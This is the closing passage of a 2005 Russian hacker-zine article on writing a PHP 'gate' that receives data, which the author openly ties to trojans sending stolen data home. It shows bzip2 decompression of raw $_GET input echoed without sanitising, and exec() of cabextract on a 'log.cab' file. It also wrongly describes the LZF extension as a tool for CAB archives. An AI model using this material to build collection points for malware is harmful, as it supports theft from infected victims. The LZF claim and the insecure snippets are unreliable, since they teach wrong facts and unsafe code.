string bzcompress (string source [, int blocksize [, int workfactor]]) - сжимает строку в bzip2-кодированные данные.
Допустим,вы получаете данные,сжатые bzip2, в переменную $_GET['data']. Теперь рассмотрим пример как можно выполнить
декомпрессию bzip2-кодированных данных.
;---------------------------------------------------------------------------------------------------------------------
<?php
$data = $_GET['data'];
$str = bzdecompress($data);
echo "$str";
?>
;---------------------------------------------------------------------------------------------------------------------
Вот и все, мы получили истинные данные.
8.4 CAB
-----------------------------
К сожалению, функций для работы с CAB архивами по умолчанию в php не было предусмотрено. Я думаю вполне понятно
почему это было не реализовано. Но существует специальное расширение PECL, подробнее о нем узнать можно по адресу:
http://pecl.php.net/package/lzf/
http://ru3.php.net/manual/ru/ref.lzf.php
оно позволяет добавить в состав пхп функции для работы в CAB архивами, в частности это:
lzf_compress -- LZF compression
lzf_decompress -- LZF decompression
Но поставить это расширение на хостинге у вас просто не хватит прав. Очень часто такие задачи решаются при
помощи сторонних утилит, которые можно запустить, например, функцией <?php System() ?>. Но к сожалению, по умолчанию
в состав unix не входят программы, которые распаковывают CAB архивы. Но есть утилита под названием cabextract,
которая позволяет работать с этим типом архивов. Найти ее можно по адресу
http://www.kyz.uklinux.net/cabextract.php.
После установки, чтобы распаковать CAB архив, достаточно ее запустить, передав в качестве параметра файл архива.
exec("cabextract log.cab");
Утилита распакует архив в текущую директорию.
9. END
________________________________________________________________________________
Во всем вышеописанном я попытался довести до вас только основы работы с гейтом. Возможно, в следующий раз я
постараюсь поднять эту тему на более серьезный уровень, но я думаю, что все уже взвесили все "за" и "против" и
ощутили какие перед вами открываются возможности при работе с HTTP протоколом. На сегодняшний день написано
достаточно много троянов, которые отсылают данные на гейт, и возможно вы тоже в будущем реализуете или уже реализовали
это решение.
10. Приложения
________________________________________________________________________________
Gate (/php_gate) - В данной директории вы найдете все примеры из статьи по работе с гейтом на php.
Server (/server) - В данной директории вы найдете все примеры из статьи по работе с сервером на Си.
11. Полезные ссылки
________________________________________________________________________________
http://blacklogic.net - Оффсайт Black Logic Team
http://forum.blacklogic.net - форум BLBoard, все вопросы по статье можно задать на этом форуме.
http://php.net - Оффсайт PHP, прежде чем задавать вопросы, читайте мануалы.
http://msdn.microsoft.com - документация MSDN
http://vingrad.ru - Форум программистов.
12. greetz
________________________________________________________________________________
Пользуясь случаем, респект всем тем, кто перечислен ниже, если кого забыл сильно не обижайтесь :)
500MHZ, dzen, [RO], dMNt, astr0, crw, UsAr, drmist, antonmaster, DeHunter,
Tornado, paraZite, [sER], Crec
а так же этим командам, без которых жизнь в сети была бы совсем скучной :)
xakepy.ru, vingrad.ru, rst.void.ru, void.ru
===============================================================================
by Flex[IP] 11.06.2005-13.06.2005 specially for Fuck'in Hoax #1
===============================================================================